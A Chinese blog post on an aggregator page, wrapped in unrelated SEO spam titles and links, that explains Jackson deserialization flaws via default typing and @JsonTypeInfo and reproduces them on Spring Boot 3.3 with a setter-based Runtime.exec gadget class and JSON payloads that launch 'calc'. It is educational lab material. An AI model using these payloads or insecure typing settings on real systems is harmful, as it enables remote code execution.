当前位置: 首页 > news >正文

网站建设策划公司地址外汇做单记录做单专业网站有哪些

网站建设策划公司地址,外汇做单记录做单专业网站有哪些,服务提供网站,网站的布局方式有哪些内容jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog#xff0c;最近慢慢开… jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog最近慢慢开始清一下库存 反序列化漏洞触发根因 使用了危险的类传入类的参数外部可控未使用危险的类类型和传入类型的参数外部可控 第一种情况取决于开发在类中使用了危险的方法常见于原生反序列化漏洞第二种情况常见于允许解析外部传入的危险类所导致的常见于各类组件 jackson介绍 Jackson 是一款流行的 json 解析器Spring MVC 的默认 json 解析器便是 Jackson。 Jackson 的核心模块由三部分组成。 jackson-core核心包提供基于流模式解析的相关 API它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。jackson-annotations注解包提供标准注解功能jackson-databind 数据绑定包 提供基于对象绑定 解析的相关 API ObjectMapper 和树模型 解析的相关 API JsonNode基于对象绑定 解析的 API 和树模型解析的 API 依赖基于流模式解析的 API。 jackson反序列化漏洞关键点 jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的目前有以下三种场景 DefaultTypingactivateDefaultTypingJsonTypeInfo enableDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); //objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);DefaultTyping可以指定以下四种类型 ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT: 这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法而不考虑实际的类型信息。 ObjectMapper.DefaultTyping.NON_CONCRETE: 这个选项会处理那些不是最终final类的所有类即它可以处理抽象类和接口。 ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项): 这个选项结合了上面两个选项的行为即处理java.lang.Object类型和非最终类。 ObjectMapper.DefaultTyping.NON_FINAL: 这个选项会处理所有的非final字段即使它们所属的类是final的。 activateDefaultTyping 自jackson 2.1.0后DefaultTyping就被弃用会推荐使用activateDefaultTyping 示例 ObjectMapper objectMapper new ObjectMapper(); objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);activateDefaultTyping可以指定三个参数 PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口当使用Java类名作为类型标识符时通过“默认类型”和显式JsonTypeInfo进行验证。ObjectMapper.DefaultTyping applicability即DefaultTyping处提到的四种类型com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs JsonTypeInfo JsonTypeInfo(use JsonTypeInfo.Id.NONE)不允许指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.CLASS)通过class的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)通过c的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.NAME)JsonTypeInfo(use JsonTypeInfo.Id.CUSTOM) 漏洞触发场景 对象类型为Object就是后续要进行漏洞复现的场景了以下三种类型均可触发 使用了activateDefaultTyping使用了enableDefaultTyping使用了JsonTypeInfo且 对象类型不为Object开发在对象的set方法中进行了危险操作但开发一般不会这么写 漏洞复现 环境 spring boot 3.3 jdk17 jackson 2.17.1 引入依赖 spring boot自带jackson无需引入依赖想要判断Jackson版本可以在外部依赖处搜索即可。 注意指定自带jackson的版本时需要注意一个问题那就是jackson和spring boot存在依赖冲突而将spring boot降级又将带来jdk版本不匹配的问题 poc jackson反序列化漏洞的已验证触发场景 1、JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)对象类型为Object 2、JsonTypeInfo(use JsonTypeInfo.Id.CLASS)对象类型为Object 3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) 对象类型为Object payload示例{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]} activateDefaultTyping Person成员 private String name; private Integer age; public Object object;com.example.demo.vulnerability.Deserialization.Evil类 package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}} }1当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或 objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}2当设置为 objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);payload为 [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]enableDefaultTyping 在jackson 2.17.1下虽然被弃用但仍然可以使用payload同activateDefaultTyping JsonTypeInfo Person成员 private String name; private Integer age; JsonTypeInfo(use JsonTypeInfo.Id.CLASS) public Object object;当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS或JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)时payload为 { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}如果还在Person上面使用注解JsonTypeInfo.Id.CLASS则需要使用以下payload [ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]参考 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com) Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客
http://www.hkea.cn/news/14563199/

相关文章:

  • 网站建设技术方面论文wordpress 群发邮件
  • 卖产品的网站怎么做的腾讯云搭建单窗口单ip
  • 高校网站建设 安全教育淮安网站设计
  • 傻瓜网站建设网站建设跟网站开发有什么区别吗
  • 网站开发的高级阶段包括什么网站建设优化解析
  • 互联国际网站做海报的简易网站
  • 云盘可以做网站吗北京专业建设
  • 网站怎么做 织梦咖啡seo是什么意思
  • 公关网站建设怎么做一个门户网站
  • 长安响应式网站建设海外网站制作
  • 怎样把网站打包做百度小程序住房和城乡建设局网站
  • 博客网站做外贸可以吗用vs2015做网站教程
  • 后台网站怎么做视频汕头网
  • 佛山网站建设设计公司哪家好行业门户网站建设
  • 网站设计网站浏览wordpress返回首页一直加载
  • 修改公司网站vps里面网站php页面无法打开
  • 小米路由做网站服务器大型网站建设多少钱
  • 佛山网站建设开发团队软件外包平台 接单
  • 长春seo建站杭州公司官方网站制作
  • 男生女生在床上做的那个网站网页美工素材
  • 青海公路工程建设市场信用信息服务网站网站集约化建设项目内容
  • 网站备案与不备案的区别网站建设要什么软件
  • wordpress插件整站搬家360浏览器免费看视频
  • 苏州论坛型网站建设网站建设从零到精通.pdf
  • 廊坊做网站厂商定制织梦个人网站模板
  • 涵江网站建设新人如何做自己的网站
  • 网站建设尾款收取建设银行网站查询工资
  • 松桃县住房和城乡建设局网站免费考研论坛
  • 山东省威海市文登区建设局网站百度公司简介
  • 如何查看网站在哪里做的阿里云可以做网站